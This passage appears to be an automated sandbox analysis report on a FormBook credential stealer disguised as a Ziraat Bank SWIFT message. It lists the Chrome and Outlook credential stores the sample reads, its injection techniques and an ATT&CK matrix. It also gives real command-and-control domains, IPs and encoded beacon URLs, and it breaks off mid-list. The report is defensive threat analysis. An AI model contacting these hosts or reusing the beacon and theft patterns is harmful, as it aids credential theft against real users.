          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\marlett.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

          Stealing of Sensitive Information

          barindex
          Yara detected FormBook
          Source: Yara matchFile source: 0000000A.00000002.560048415.0000000000820000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000A.00000002.559572185.00000000003C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000006.00000002.450620046.0000000000401000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000A.00000002.562531717.0000000000ED0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000007.00000000.413620011.000000000DEDE000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000007.00000000.388632949.000000000DEDE000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
          Tries to steal Mail credentials (via file / registry access)
          Source: C:\Windows\SysWOW64\systray.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\
          Tries to harvest and steal browser information (history, passwords, etc)
          Source: C:\Windows\SysWOW64\systray.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies
          Source: C:\Windows\SysWOW64\systray.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
          Source: C:\Windows\SysWOW64\systray.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
          Source: C:\Windows\SysWOW64\systray.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State
          Source: C:\Windows\SysWOW64\systray.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State
          Source: C:\Windows\SysWOW64\systray.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data

          Remote Access Functionality

          barindex
          Yara detected FormBook
          Source: Yara matchFile source: 0000000A.00000002.560048415.0000000000820000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000A.00000002.559572185.00000000003C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000006.00000002.450620046.0000000000401000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000A.00000002.562531717.0000000000ED0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000007.00000000.413620011.000000000DEDE000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000007.00000000.388632949.000000000DEDE000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

          Mitre Att&ck Matrix

          Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
          Valid Accounts1
          Shared Modules          		Path Interception612
          Process Injection          		1
          Masquerading          		1
          OS Credential Dumping          		121
          Security Software Discovery          		Remote Services1
          Email Collection          		Exfiltration Over Other Network Medium1
          Encrypted Channel          		Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
          Default AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization Scripts1
          Disable or Modify Tools          		LSASS Memory2
          Process Discovery          		Remote Desktop Protocol11
          Archive Collected Data          		Exfiltration Over Bluetooth3
          Ingress Tool Transfer          		Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
          Domain AccountsAt (Linux)Logon Script (Windows)Logon Script (Windows)31
          Virtualization/Sandbox Evasion          		Security Account Manager31
          Virtualization/Sandbox Evasion          		SMB/Windows Admin Shares1
          Data from Local System          		Automated Exfiltration4
          Non-Application Layer Protocol          		Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
          Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)612
          Process Injection          		NTDS1
          Remote System Discovery          		Distributed Component Object ModelInput CaptureScheduled Transfer114
          Application Layer Protocol          		SIM Card SwapCarrier Billing Fraud
          Cloud AccountsCronNetwork Logon ScriptNetwork Logon Script11
          Deobfuscate/Decode Files or Information          		LSA Secrets13
          System Information Discovery          		SSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings
          Replication Through Removable MediaLaunchdRc.commonRc.common3
          Obfuscated Files or Information          		Cached Domain CredentialsSystem Owner/User DiscoveryVNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features
          External Remote ServicesScheduled TaskStartup ItemsStartup Items12
          Software Packing          		DCSyncNetwork SniffingWindows Remote ManagementWeb Portal CaptureExfiltration Over Alternative ProtocolCommonly Used PortRogue Wi-Fi Access PointsData Encrypted for Impact
          Drive-by CompromiseCommand and Scripting InterpreterScheduled Task/JobScheduled Task/Job1
          Timestomp          		Proc FilesystemNetwork Service ScanningShared WebrootCredential API HookingExfiltration Over Symmetric Encrypted Non-C2 ProtocolApplication Layer ProtocolDowngrade to Insecure ProtocolsGenerate Fraudulent Advertising Revenue
          Exploit Public-Facing ApplicationPowerShellAt (Linux)At (Linux)1
          File Deletion          		/etc/passwd and /etc/shadowSystem Network Connections DiscoverySoftware Deployment ToolsData StagedExfiltration Over Asymmetric Encrypted Non-C2 ProtocolWeb ProtocolsRogue Cellular Base StationData Destruction

          Behavior Graph

          Hide Legend

          Legend:

          • Process
          • Signature
          • Created File
          • DNS/IP Info
          • Is Dropped
          • Is Windows Process
          • Number of created Registry Values
          • Number of created Files
          • Visual Basic
          • Delphi
          • Java
          • .Net C# or VB.NET
          • C, C++ or other language
          • Is malicious
          • Internet
          behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 755920 Sample: Ziraat Bankasi Swift Mesaji... Startdate: 29/11/2022 Architecture: WINDOWS Score: 100 25 www.thetrendsinfo.com 2->25 27 thetrendsinfo.com 2->27 45 Malicious sample detected (through community Yara rule) 2->45 47 Antivirus detection for URL or domain 2->47 49 Multi AV Scanner detection for submitted file 2->49 51 6 other signatures 2->51 8 Ziraat Bankasi Swift Mesaji20221129-34221.exe 3 2->8         started        signatures3 process4 file5 23 Ziraat Bankasi Swi...21129-34221.exe.log, ASCII 8->23 dropped 53 Injects a PE file into a foreign processes 8->53 12 Ziraat Bankasi Swift Mesaji20221129-34221.exe 8->12         started        15 Ziraat Bankasi Swift Mesaji20221129-34221.exe 8->15         started        signatures6 process7 signatures8 55 Modifies the context of a thread in another process (thread injection) 12->55 57 Maps a DLL or memory area into another process 12->57 59 Sample uses process hollowing technique 12->59 61 Queues an APC in another process (thread injection) 12->61 17 systray.exe 13 12->17         started        20 explorer.exe 12->20 injected process9 dnsIp10 35 Tries to steal Mail credentials (via file / registry access) 17->35 37 Tries to harvest and steal browser information (history, passwords, etc) 17->37 39 Deletes itself after installation 17->39 43 2 other signatures 17->43 29 www.oaksinstitute.net 103.11.189.189, 49701, 49702, 80 VODIEN-AS-AP-LOC2VodienInternetSolutionsPteLtdSG Singapore 20->29 31 notarpucarhr.com 141.136.43.229, 49698, 80 SENDER-ASLT Lithuania 20->31 33 3 other IPs or domains 20->33 41 System process connects to network (likely due to code injection or exploit) 20->41 signatures11

          Screenshots

          Thumbnails

          This section contains all screenshots as thumbnails, including those not shown in the slideshow.


          windows-stand

          Antivirus, Machine Learning and Genetic Malware Detection

          Initial Sample

          SourceDetectionScannerLabelLink
          Ziraat Bankasi Swift Mesaji20221129-34221.exe44%VirustotalBrowse
          Ziraat Bankasi Swift Mesaji20221129-34221.exe39%ReversingLabsByteCode-MSIL.Trojan.Woreflint
          Ziraat Bankasi Swift Mesaji20221129-34221.exe100%Joe Sandbox ML

          Dropped Files

          ⊘No Antivirus matches

          Unpacked PE Files

          SourceDetectionScannerLabelLinkDownload
          6.0.Ziraat Bankasi Swift Mesaji20221129-34221.exe.400000.0.unpack100%AviraTR/Crypt.XPACK.GenDownload File

          Domains

          SourceDetectionScannerLabelLink
          www.oaksinstitute.net0%VirustotalBrowse
          thetrendsinfo.com3%VirustotalBrowse

          URLs

          SourceDetectionScannerLabelLink
          http://www.fontbureau.coml10%URL Reputationsafe
          http://www.sajatypeworks.com0%URL Reputationsafe
          http://www.founder.com.cn/cn/cThe0%URL Reputationsafe
          http://www.jiyu-kobo.co.jp/00%URL Reputationsafe
          http://www.galapagosdesign.com/DPlease0%URL Reputationsafe
          http://www.jiyu-kobo.co.jp/Y00%URL Reputationsafe
          http://www.urwpp.deDPlease0%URL Reputationsafe
          http://www.jiyu-kobo.co.jp/$0%URL Reputationsafe
          http://www.zhongyicts.com.cn0%URL Reputationsafe
          http://www.jiyu-kobo.co.jp/Y0%URL Reputationsafe
          http://www.galapagosdesign.com/0%URL Reputationsafe
          http://www.jiyu-kobo.co.jp/S0%URL Reputationsafe
          http://www.jiyu-kobo.co.jp/P0%URL Reputationsafe
          http://www.carterandcone.coml0%URL Reputationsafe
          http://www.jiyu-kobo.co.jp/x0%URL Reputationsafe
          http://www.jiyu-kobo.co.jp/l0%URL Reputationsafe
          http://www.carterandcone.comFH0%Avira URL Cloudsafe
          http://www.carterandcone.com690%Avira URL Cloudsafe
          http://www.fontbureau.commsedY0%Avira URL Cloudsafe
          http://www.carterandcone.comre0%URL Reputationsafe
          http://www.founder.com.cn/cn/bThe0%URL Reputationsafe
          http://www.tiro.com0%URL Reputationsafe
          http://www.goodfont.co.kr0%URL Reputationsafe
          http://www.carterandcone.com0%URL Reputationsafe
          http://www.typography.netD0%URL Reputationsafe
          http://www.galapagosdesign.com/staff/dennis.htm0%URL Reputationsafe
          http://fontfabrik.com0%URL Reputationsafe
          http://www.oaksinstitute.net/qmpa/?mRh4lr=5Yvs1mt+8koK04wDmvle7hFJkaWhy6okw1CCpgEhtGW9Nwizn2cFt5qaMIq71RWOXG0+Z4ku5zJzPR6AZImqbF2d7jI61SlZkw==&VrWd=-Z5PLbzhUhYhR8K100%Avira URL Cloudmalware
          http://www.jiyu-kobo.co.jp/jp/l0%URL Reputationsafe
          http://www.sandoll.co.kr0%URL Reputationsafe
          http://www.sakkal.com0%URL Reputationsafe
          http://www.fontbureau.comF0%URL Reputationsafe
          http://www.carterandcone.comfac0%URL Reputationsafe
          http://www.fontbureau.comL.TTF0%URL Reputationsafe
          http://www.jiyu-kobo.co.jp/jp/0%URL Reputationsafe
          http://www.founder.com.cn/cn0%URL Reputationsafe
          http://www.monotype.0%URL Reputationsafe
          http://www.fontbureau.comm0%URL Reputationsafe
          http://www.jiyu-kobo.co.jp/0%URL Reputationsafe
          http://www.carterandcone.coml-B(0%Avira URL Cloudsafe
          http://www.zhongyicts.com.cno.0%URL Reputationsafe
          http://www.carterandcone.comhy/0%Avira URL Cloudsafe
          http://www.founder.com.cn/cntsP=0%Avira URL Cloudsafe
          http://www.zhongyicts.com.cno.z0%Avira URL Cloudsafe
          http://www.jiyu-kobo.co.jp/ry0%Avira URL Cloudsafe
          http://www.zhongyicts.com.cnV0%Avira URL Cloudsafe
          http://www.carterandcone.compe0%Avira URL Cloudsafe
          http://www.jiyu-kobo.co.jp/Y0P0%Avira URL Cloudsafe
          http://www.sajatypeworks.comegr0%Avira URL Cloudsafe
          http://www.fontbureau.comicu0%Avira URL Cloudsafe
          http://www.fontbureau.comalicg0%Avira URL Cloudsafe
          http://www.sajatypeworks.comU0%Avira URL Cloudsafe
          http://www.multimediapages.com/qmpa/?mRh4lr=rejTwVtqfB30O9nwV+ATTccd4/r3ZShDvm2ExT48d5W41t5gt2xe96xDcyDktEvrNydQ6GKmhPSZbQq/61ftArfg9GGH4Fupqg==&VrWd=-Z5PLbzhUhYhR8K100%Avira URL Cloudmalware
          http://www.fontbureau.coma$0%Avira URL Cloudsafe
          http://www.sajatypeworks.comers0J0%Avira URL Cloudsafe
          http://www.founder.com.cn/cntsP=tx0%Avira URL Cloudsafe
          http://www.sajatypeworks.comegrjJH0%Avira URL Cloudsafe
          http://www.carterandcone.com8I0%Avira URL Cloudsafe
          http://www.carterandcone.comsigW0%Avira URL Cloudsafe
          http://www.carterandcone.comily0%Avira URL Cloudsafe
          http://www.notarpucarhr.com/qmpa/?mRh4lr=EgIWtG18ZIzAqtaO1OmvkFLdPjhKt8Mp7J5Y1fxWkEB6Q9kPLkR881s923Q+G4W9S+aNob6MQv0YuDJ73ehw8miGBWwdljwfXw==&VrWd=-Z5PLbzhUhYhR8K0%Avira URL Cloudsafe
          http://www.carterandcone.comits0%Avira URL Cloudsafe
          http://www.galapagosdesign.com/staff/dennis.htmtr-tr0%Avira URL Cloudsafe
          http://www.oaksinstitute.net/qmpa/100%Avira URL Cloudmalware
          http://www.carterandcone.comsign0%Avira URL Cloudsafe
          http://www.carterandcone.comGr0%Avira URL Cloudsafe
          http://www.fontbureau.comueedl0%Avira URL Cloudsafe
          http://www.fonts.comcom0%Avira URL Cloudsafe
          www.erwgcb.top/qmpa/0%Avira URL Cloudsafe
          http://www.multimediapages.com/qmpa/100%Avira URL Cloudmalware
          http://www.carterandcone.comitse0%Avira URL Cloudsafe
          http://www.fontbureau.comdP0%Avira URL Cloudsafe
          http://www.sakkal.comP10%Avira URL Cloudsafe
          http://www.galapagosdesign.com/:0%Avira URL Cloudsafe

          Domains and IPs

          Contacted Domains

          NameIPActiveMaliciousAntivirus DetectionReputation
          www.oaksinstitute.net
          		103.11.189.189
          		truetrueunknown
          notarpucarhr.com
          		141.136.43.229
          		truetrue
            		unknown
            www.multimediapages.com
            		38.239.92.131
            		truetrue
              		unknown
              thetrendsinfo.com
              		68.66.216.12
              		truefalseunknown
              www.thetrendsinfo.com
              		unknown
              		unknowntrue
                		unknown
                www.notarpucarhr.com
                		unknown
                		unknowntrue
                  		unknown

                  Contacted URLs

                  NameMaliciousAntivirus DetectionReputation
                  http://www.oaksinstitute.net/qmpa/?mRh4lr=5Yvs1mt+8koK04wDmvle7hFJkaWhy6okw1CCpgEhtGW9Nwizn2cFt5qaMIq71RWOXG0+Z4ku5zJzPR6AZImqbF2d7jI61SlZkw==&VrWd=-Z5PLbzhUhYhR8Ktrue
                  • Avira URL Cloud: malware
                  		unknown
                  http://www.multimediapages.com/qmpa/?mRh4lr=rejTwVtqfB30O9nwV+ATTccd4/r3ZShDvm2ExT48d5W41t5gt2xe96xDcyDktEvrNydQ6GKmhPSZbQq/61ftArfg9GGH4Fupqg==&VrWd=-Z5PLbzhUhYhR8Ktrue
                  • Avira URL Cloud: malware
                  		unknown
                  http://www.notarpucarhr.com/qmpa/?mRh4lr=EgIWtG18ZIzAqtaO1OmvkFLdPjhKt8Mp7J5Y1fxWkEB6Q9kPLkR881s923Q+G4W9S+aNob6MQv0YuDJ73ehw8miGBWwdljwfXw==&VrWd=-Z5PLbzhUhYhR8Ktrue
                  • Avira URL Cloud: safe
                  		unknown
                  www.erwgcb.top/qmpa/true
                  • Avira URL Cloud: safe
                  		low
                  http://www.oaksinstitute.net/qmpa/true
                  • Avira URL Cloud: malware
                  		unknown
                  http://www.multimediapages.com/qmpa/true
                  • Avira URL Cloud: malware
                  		unknown

                  URLs from Memory and Binaries

                  NameSourceMaliciousAntivirus DetectionReputation
                  http://www.vodien.com/systray.exe, 0000000A.00000002.564786967.0000000004FFA000.00000004.10000000.00040000.00000000.sdmp, systray.exe, 0000000A.00000002.565197079.0000000006EB0000.00000004.00000800.00020000.00000000.sdmpfalse
                    		high
                    https://duckduckgo.com/chrome_newtabsystray.exe, 0000000A.00000003.530735455.0000000000915000.00000004.00000020.00020000.00000000.sdmp, q3W1-4699.10.drfalse
                      		high
                      https://duckduckgo.com/ac/?q=q3W1-4699.10.drfalse
                        		high
                        http://www.vodien.com/singapore-email-hosting.phpsystray.exe, 0000000A.00000002.564786967.0000000004FFA000.00000004.10000000.00040000.00000000.sdmp, systray.exe, 0000000A.00000002.565197079.0000000006EB0000.00000004.00000800.00020000.00000000.sdmpfalse
                          		high
                          http://www.carterandcone.com69Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300403427.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300174244.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301530080.0000000006038000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300428223.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300331288.0000000006037000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301709757.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300233806.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300190057.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300258498.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300558881.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300141919.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301117508.0000000006031000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300849965.0000000006031000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301599425.0000000006032000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300357512.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301307567.0000000006031000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300634815.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301060629.0000000006033000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300342875.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300950320.0000000006031000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301645997.0000000006031000.00000004.00000800.00020000.00000000.sdmpfalse
                          • Avira URL Cloud: safe
                          		unknown
                          http://www.fontbureau.com/designersZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.304677827.0000000006034000.00000004.00000800.00020000.00000000.sdmpfalse
                            		high
                            http://www.fontbureau.commsedYZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.306938961.000000000600B000.00000004.00000800.00020000.00000000.sdmpfalse
                            • Avira URL Cloud: safe
                            		unknown
                            http://www.carterandcone.comFHZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.299938247.000000000601A000.00000004.00000800.00020000.00000000.sdmpfalse
                            • Avira URL Cloud: safe
                            		unknown
                            http://www.carterandcone.comhy/Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300403427.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300428223.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300558881.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300634815.0000000006034000.00000004.00000800.00020000.00000000.sdmpfalse
                            • Avira URL Cloud: safe
                            		unknown
                            http://www.fontbureau.coml1Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.320113972.0000000006006000.00000004.00000800.00020000.00000000.sdmpfalse
                            • URL Reputation: safe
                            		unknown
                            http://www.sajatypeworks.comZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297293605.000000000601B000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297563125.000000000601B000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297534420.000000000601B000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297455873.000000000601B000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297323577.000000000601B000.00000004.00000800.00020000.00000000.sdmpfalse
                            • URL Reputation: safe
                            		unknown
                            http://www.founder.com.cn/cn/cTheZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmpfalse
                            • URL Reputation: safe
                            		unknown
                            http://www.jiyu-kobo.co.jp/0Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301567715.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301491988.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301216806.000000000600D000.00000004.00000800.00020000.00000000.sdmpfalse
                            • URL Reputation: safe
                            		unknown
                            http://www.galapagosdesign.com/DPleaseZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmpfalse
                            • URL Reputation: safe
                            		unknown
                            http://www.jiyu-kobo.co.jp/Y0Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301779924.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301567715.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301491988.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301677692.000000000600D000.00000004.00000800.00020000.00000000.sdmpfalse
                            • URL Reputation: safe
                            		unknown
                            http://www.urwpp.deDPleaseZiraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmpfalse
                            • URL Reputation: safe
                            		unknown
                            http://www.jiyu-kobo.co.jp/$Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302865321.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302414369.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302326537.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.303167686.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302564228.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.303077151.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301779924.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302653539.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302751937.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301567715.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302146273.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301888455.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi 